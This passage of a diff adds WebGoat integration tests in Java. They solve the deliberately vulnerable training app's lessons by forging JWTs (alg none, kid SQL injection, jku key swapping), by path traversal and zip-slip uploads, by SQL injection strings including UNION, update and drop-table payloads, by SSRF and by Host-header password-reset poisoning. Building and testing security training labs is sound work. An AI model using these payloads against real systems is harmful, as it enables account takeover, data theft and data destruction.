+
+    String header = accessToken.substring(0, accessToken.indexOf("."));
+    header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
+
+    String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
+    body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
+
+    ObjectMapper mapper = new ObjectMapper();
+    JsonNode headerNode = mapper.readTree(header);
+    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
+
+    JsonNode bodyObject = mapper.readTree(body);
+    bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
+
+    String replacedToken =
+        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+            .concat(".")
+            .concat(
+                new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
+                    .toString())
+            .concat(".")
+            .replace("=", "");
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("access_token", replacedToken)
+            .post(webGoatUrlConfig.url("JWT/votings"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void buyAsTom() throws IOException {
+
+    String header =
+        new String(
+            Base64.getUrlDecoder()
+                .decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
+
+    String body =
+        new String(
+            Base64.getUrlDecoder()
+                .decode(
+                    "eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
+                        .getBytes(Charset.defaultCharset())));
+
+    body = body.replace("Jerry", "Tom");
+
+    ObjectMapper mapper = new ObjectMapper();
+    JsonNode headerNode = mapper.readTree(header);
+    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
+
+    String replacedToken =
+        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+            .concat(".")
+            .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
+            .concat(".")
+            .replace("=", "");
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Authorization", "Bearer " + replacedToken)
+            .post(webGoatUrlConfig.url("JWT/refresh/checkout"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void deleteTomThroughKidClaim() {
+    Map<String, Object> header = new HashMap();
+    header.put(Header.TYPE, Header.JWT_TYPE);
+    header.put(
+        JwsHeader.KEY_ID,
+        "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
+    String token =
+        Jwts.builder()
+            .setHeader(header)
+            .setIssuer("WebGoat Token Builder")
+            .setAudience("webgoat.org")
+            .setIssuedAt(Calendar.getInstance().getTime())
+            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+            .setSubject("tom@webgoat.org")
+            .claim("username", "Tom")
+            .claim("Email", "tom@webgoat.org")
+            .claim("Role", new String[] {"Manager", "Project Administrator"})
+            .signWith(SignatureAlgorithm.HS256, "deletingTom")
+            .compact();
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .post(webGoatUrlConfig.url("JWT/kid/delete?token=" + token))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
+    KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+    keyPairGenerator.initialize(2048);
+    KeyPair keyPair = keyPairGenerator.generateKeyPair();
+    var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", "jwks.json", jwks.toJson().getBytes())
+        .post(webWolfUrlConfig.url("fileupload"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+
+    Map<String, Object> header = new HashMap();
+    header.put(Header.TYPE, Header.JWT_TYPE);
+    header.put(
+        JwsHeader.JWK_SET_URL, webWolfUrlConfig.url("files/%s/jwks.json".formatted(getUser())));
+
+    String token =
+        Jwts.builder()
+            .setHeader(header)
+            .setIssuer("WebGoat Token Builder")
+            .setAudience("webgoat.org")
+            .setIssuedAt(Calendar.getInstance().getTime())
+            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+            .setSubject("tom@webgoat.org")
+            .claim("username", "Tom")
+            .claim("Email", "tom@webgoat.org")
+            .claim("Role", new String[] {"Manager", "Project Administrator"})
+            .signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
+            .compact();
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .post(webGoatUrlConfig.url("JWT/jku/delete?token=" + token))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void quiz() {
+    Map<String, Object> params = new HashMap<>();
+    params.put("question_0_solution", "Solution 1");
+    params.put("question_1_solution", "Solution 2");
+
+    checkAssignment(webGoatUrlConfig.url("JWT/quiz"), params, true);
+  }
+}

src/it/java/org/owasp/webgoat/integration/LabelAndHintIntegrationTest.java

@@ -0,0 +1,233 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import io.restassured.path.json.JsonPath;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.List;
+import java.util.Properties;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+public class LabelAndHintIntegrationTest extends IntegrationTest {
+
+  static final String ESCAPE_JSON_PATH_CHAR = "\'";
+
+  @Test
+  public void testSingleLabel() {
+    Assertions.assertTrue(true);
+      JsonPath jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "en")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/labels.mvc"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+
+    Assertions.assertEquals(
+        "Try again: but this time enter a value before hitting go.",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
+
+    // check if lang parameter overrules Accept-Language parameter
+      jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "en")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/labels.mvc?lang=nl"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Gebruikersnaam",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
+
+      jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "en")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/labels.mvc?lang=de"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Benutzername",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
+
+    // check if invalid language returns english
+      jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "nl")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/labels.mvc?lang=xx"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
+
+    // check if invalid language returns english
+      jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "xx_YY")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/labels.mvc"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
+  }
+
+  @Test
+  public void testHints() {
+    JsonPath jsonPathLabels = getLabels("en");
+    List<String> allLessons =
+        List.of(
+            "HttpBasics",
+            "HttpProxies",
+            "CIA",
+            "InsecureLogin",
+            "Cryptography",
+            "PathTraversal",
+            "XXE",
+            "JWT",
+            "IDOR",
+            "SSRF",
+            "WebWolfIntroduction",
+            "CrossSiteScripting",
+            "CSRF",
+            "HijackSession",
+            "SqlInjection",
+            "SqlInjectionMitigations",
+            "SqlInjectionAdvanced",
+            "Challenge1");
+    for (String lesson : allLessons) {
+      startLesson(lesson);
+      List<String> hintKeys = getHints();
+      for (String key : hintKeys) {
+        String keyValue =
+            jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
+        // System.out.println("key: " + key + " ,value: " + keyValue);
+        Assertions.assertNotNull(keyValue);
+        Assertions.assertNotEquals(key, keyValue);
+      }
+    }
+    // Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
+    // ""+jsonPath.getList("hint").get(0));
+  }
+
+  @Test
+  public void testLabels() {
+
+    JsonPath jsonPathLabels = getLabels("en");
+    Properties propsDefault = getProperties("");
+    for (String key : propsDefault.stringPropertyNames()) {
+      String keyValue =
+          jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
+      Assertions.assertNotNull(keyValue);
+    }
+    checkLang(propsDefault, "nl");
+    checkLang(propsDefault, "de");
+    checkLang(propsDefault, "fr");
+  }
+
+  private Properties getProperties(String lang) {
+    Properties prop = null;
+    if (lang == null || lang.equals("")) {
+      lang = "";
+    } else {
+      lang = "_" + lang;
+    }
+    try (InputStream input =
+        new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
+
+      prop = new Properties();
+      // load a properties file
+      prop.load(input);
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+    return prop;
+  }
+
+  private void checkLang(Properties propsDefault, String lang) {
+    JsonPath jsonPath = getLabels(lang);
+    Properties propsLang = getProperties(lang);
+
+    for (String key : propsLang.stringPropertyNames()) {
+      if (!propsDefault.containsKey(key)) {
+        System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
+        Assertions.fail();
+      }
+      if (!jsonPath
+          .getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
+          .equals(propsLang.get(key))) {
+        System.out.println(
+            "key: " + key + " in (" + lang + ") has incorrect translation in label service");
+        System.out.println(
+            "actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
+        System.out.println("expected: " + propsLang.getProperty(key));
+        System.out.println();
+        Assertions.fail();
+      }
+    }
+  }
+
+  private JsonPath getLabels(String lang) {
+      return RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .contentType(ContentType.JSON)
+        .header("Accept-Language", lang)
+        .cookie("JSESSIONID", getWebGoatCookie())
+        // .log().headers()
+        .get(webGoatUrlConfig.url("service/labels.mvc"))
+        .then()
+        // .log().all()
+        .statusCode(200)
+        .extract()
+        .jsonPath();
+  }
+
+  private List<String> getHints() {
+      JsonPath jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/hint.mvc"))
+            .then()
+            // .log().all()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    return jsonPath.getList("hint");
+  }
+}

src/it/java/org/owasp/webgoat/integration/PasswordResetLessonIntegrationTest.java

@@ -0,0 +1,151 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import io.restassured.RestAssured;
+import java.util.Arrays;
+import java.util.Map;
+import org.apache.commons.lang3.StringUtils;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.springframework.http.HttpHeaders;
+
+public class PasswordResetLessonIntegrationTest extends IntegrationTest {
+
+  @BeforeEach
+  public void init() {
+    startLesson("PasswordReset");
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> passwordResetLesson() {
+    return Arrays.asList(
+        dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
+        dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
+        dynamicTest("assignment 2 - simple reset", () -> assignment2()),
+        dynamicTest("assignment 4 - guess questions", () -> assignment4()),
+        dynamicTest("assignment 5 - simple questions", () -> assignment5()));
+  }
+
+  public void assignment2() {
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/simple-mail/reset"),
+        Map.of("emailReset", this.getUser() + "@webgoat.org"),
+        false);
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/simple-mail"),
+        Map.of(
+            "email",
+            this.getUser() + "@webgoat.org",
+            "password",
+            StringUtils.reverse(this.getUser())),
+        true);
+  }
+
+  public void assignment4() {
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/questions"),
+        Map.of("username", "tom", "securityQuestion", "purple"),
+        true);
+  }
+
+  public void assignment5() {
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
+        Map.of("question", "What is your favorite animal?"),
+        false);
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
+        Map.of("question", "What is your favorite color?"),
+        true);
+  }
+
+  public void solveAssignment() {
+    // WebGoat
+    clickForgotEmailLink("tom@webgoat-cloud.org");
+
+    // WebWolf
+    var link = getPasswordResetLinkFromLandingPage();
+    // WebGoat
+    changePassword(link);
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/reset/login"),
+        Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
+        true);
+  }
+
+  public void sendEmailShouldBeAvailableInWebWolf() {
+    clickForgotEmailLink(this.getUser() + "@webgoat.org");
+
+    var responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("mail"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+
+    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
+  }
+
+  @AfterEach
+  public void shutdown() {
+    // this will run only once after the list of dynamic tests has run, this is to test if the
+    // lesson is marked complete
+    checkResults("PasswordReset");
+  }
+
+  private void changePassword(String link) {
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("resetLink", link, "password", "123456")
+        .post(webGoatUrlConfig.url("PasswordReset/reset/change-password"))
+        .then()
+        .statusCode(200);
+  }
+
+  private String getPasswordResetLinkFromLandingPage() {
+    var responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("requests"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
+    var link =
+        responseBody.substring(
+            startIndex + "/PasswordReset/reset/reset-password/".length(),
+            responseBody.indexOf(",", startIndex) - 1);
+    return link;
+  }
+
+  private void clickForgotEmailLink(String user) {
+      RestAssured.given()
+        .when()
+        .header(HttpHeaders.HOST, String.format("%s:%s", "127.0.0.1", webWolfUrlConfig.port()))
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("email", user)
+        .post(webGoatUrlConfig.url("PasswordReset/ForgotPassword/create-password-reset-link"))
+        .then()
+        .statusCode(200);
+  }
+}

src/it/java/org/owasp/webgoat/integration/PathTraversalIntegrationTest.java

@@ -0,0 +1,156 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import io.restassured.RestAssured;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Arrays;
+import java.util.Map;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipOutputStream;
+import lombok.SneakyThrows;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.junit.jupiter.api.io.TempDir;
+import org.springframework.security.core.token.Sha512DigestUtils;
+
+class PathTraversalIT extends IntegrationTest {
+
+  @TempDir Path tempDir;
+
+  private File fileToUpload = null;
+
+  @BeforeEach
+  @SneakyThrows
+  public void init() {
+    fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
+    Files.write(fileToUpload.toPath(), "This is a test".getBytes());
+    startLesson("PathTraversal");
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> testPathTraversal() {
+    return Arrays.asList(
+        dynamicTest("assignment 1 - profile upload", () -> assignment1()),
+        dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
+        dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
+        dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
+        dynamicTest("assignment 5 - zip slip", () -> assignment5()));
+  }
+
+  private void assignment1() throws IOException {
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+            .param("fullName", "../John Doe")
+            .post(webGoatUrlConfig.url("PathTraversal/profile-upload"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment2() throws IOException {
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+            .param("fullNameFix", "..././John Doe")
+            .post(webGoatUrlConfig.url("PathTraversal/profile-upload-fix"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment3() throws IOException {
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart(
+                "uploadedFileRemoveUserInput",
+                "../test.jpg",
+                Files.readAllBytes(fileToUpload.toPath()))
+            .post(webGoatUrlConfig.url("PathTraversal/profile-upload-remove-user-input"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment4() throws IOException {
+    var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
+      RestAssured.given()
+        .urlEncodingEnabled(false)
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(webGoatUrlConfig.url(uri))
+        .then()
+        .statusCode(200)
+        .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
+
+      checkAssignment(
+              webGoatUrlConfig.url("PathTraversal/random"),
+        Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
+        true);
+  }
+
+  private void assignment5() throws IOException {
+    var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
+    webGoatHome =
+        webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
+
+    var webGoatDirectory = new File(webGoatHome);
+    var zipFile = new File(tempDir.toFile(), "upload.zip");
+    try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
+      ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
+      zos.putNextEntry(e);
+      zos.write("test".getBytes(StandardCharsets.UTF_8));
+    }
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
+            .post(webGoatUrlConfig.url("PathTraversal/zip-slip"))
+            .then()
+            .log()
+            .all()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  @AfterEach
+  void shutdown() {
+    // this will run only once after the list of dynamic tests has run, this is to test if the
+    // lesson is marked complete
+    checkResults("PathTraversal");
+  }
+}

src/it/java/org/owasp/webgoat/integration/ProgressRaceConditionIntegrationTest.java

@@ -0,0 +1,61 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import io.restassured.response.Response;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() throws InterruptedException {
+    int NUMBER_OF_CALLS = 40;
+    int NUMBER_OF_PARALLEL_THREADS = 5;
+    startLesson("Challenge1");
+
+    Callable<Response> call =
+        () -> {
+          // System.out.println("thread "+Thread.currentThread().getName());
+            return RestAssured.given()
+              .when()
+              .relaxedHTTPSValidation()
+              .cookie("JSESSIONID", getWebGoatCookie())
+              .formParams(Map.of("flag", "test"))
+              .post(webGoatUrlConfig.url("challenge/flag/1"));
+        };
+    ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
+    List<? extends Callable<Response>> flagCalls =
+        IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
+    var responses = executorService.invokeAll(flagCalls);
+
+    // A certain amount of parallel calls should fail as optimistic locking in DB is applied
+    long countStatusCode500 =
+        responses.stream()
+            .filter(
+                r -> {
+                  try {
+                    // System.err.println(r.get().getStatusCode());
+                    return r.get().getStatusCode() != 200;
+                  } catch (InterruptedException | ExecutionException e) {
+                    // System.err.println(e);
+                    throw new IllegalStateException(e);
+                  }
+                })
+            .count();
+    System.err.println("counted status 500: " + countStatusCode500);
+    Assertions.assertThat(countStatusCode500)
+        .isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
+  }
+}

src/it/java/org/owasp/webgoat/integration/SSRFIntegrationTest.java

@@ -0,0 +1,29 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class SSRFIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() {
+    startLesson("SSRF");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("url", "images/jerry.png");
+
+      checkAssignment(webGoatUrlConfig.url("SSRF/task1"), params, true);
+    params.clear();
+    params.put("url", "http://ifconfig.pro");
+
+      checkAssignment(webGoatUrlConfig.url("SSRF/task2"), params, true);
+
+    checkResults("SSRF");
+  }
+}

src/it/java/org/owasp/webgoat/integration/SessionManagementIntegrationTest.java

@@ -0,0 +1,26 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author Angel Olle Blazquez
+ */
+class SessionManagementIT extends IntegrationTest {
+
+  private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
+
+  @Test
+  void hijackSessionTest() {
+    startLesson("HijackSession");
+
+      checkAssignment(
+              webGoatUrlConfig.url(HIJACK_LOGIN_CONTEXT_PATH),
+        Map.of("username", "webgoat", "password", "webgoat"),
+        false);
+  }
+}

src/it/java/org/owasp/webgoat/integration/SqlInjectionAdvancedIntegrationTest.java

@@ -0,0 +1,65 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() {
+    startLesson("SqlInjectionAdvanced");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username_reg", "tom' AND substring(password,1,1)='t");
+    params.put("password_reg", "password");
+    params.put("email_reg", "someone@microsoft.com");
+    params.put("confirm_password", "password");
+      checkAssignmentWithPUT(webGoatUrlConfig.url("SqlInjectionAdvanced/challenge"), params, true);
+
+    params.clear();
+    params.put("username_login", "tom");
+    params.put("password_login", "thisisasecretfortomonly");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/challenge_Login"), params, true);
+
+    params.clear();
+    params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
+
+    params.clear();
+    params.put(
+        "userid_6a",
+        "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+            + " user_system_data --");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
+
+    params.clear();
+    params.put("userid_6b", "passW0rD");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6b"), params, true);
+
+    params.clear();
+    params.put(
+        "question_0_solution",
+        "Solution 4: A statement has got values instead of a prepared statement");
+    params.put("question_1_solution", "Solution 3: ?");
+    params.put(
+        "question_2_solution",
+        "Solution 2: Prepared statements are compiled once by the database management system"
+            + " waiting for input and are pre-compiled this way.");
+    params.put(
+        "question_3_solution",
+        "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
+            + " resulting in a seperation of code and data.");
+    params.put(
+        "question_4_solution",
+        "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/quiz"), params, true);
+
+    checkResults("SqlInjectionAdvanced");
+  }
+}

src/it/java/org/owasp/webgoat/integration/SqlInjectionLessonIntegrationTest.java

@@ -0,0 +1,82 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
+
+  public static final String sql_2 = "select department from employees where last_name='Franco'";
+  public static final String sql_3 =
+      "update employees set department='Sales' where last_name='Barnett'";
+  public static final String sql_4_drop = "alter table employees drop column phone";
+  public static final String sql_4_add = "alter table employees add column phone varchar(20)";
+  public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
+  public static final String sql_9_account = " ' ";
+  public static final String sql_9_operator = "or";
+  public static final String sql_9_injection = "'1'='1";
+  public static final String sql_10_login_count = "2";
+  public static final String sql_10_userid = "1 or 1=1";
+
+  public static final String sql_11_a = "Smith' or '1' = '1";
+  public static final String sql_11_b = "3SL99A'  or '1'='1";
+
+  public static final String sql_12_a = "Smith";
+  public static final String sql_12_b =
+      "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
+
+  public static final String sql_13 = "%update% '; drop table access_log ; --'";
+
+  @Test
+  public void runTests() {
+    startLesson("SqlInjection");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("query", sql_2);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack2"), params, true);
+
+    params.clear();
+    params.put("query", sql_3);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack3"), params, true);
+
+    params.clear();
+    params.put("query", sql_4_add);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack4"), params, true);
+
+    params.clear();
+    params.put("query", sql_5);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack5"), params, true);
+
+    params.clear();
+    params.put("operator", sql_9_operator);
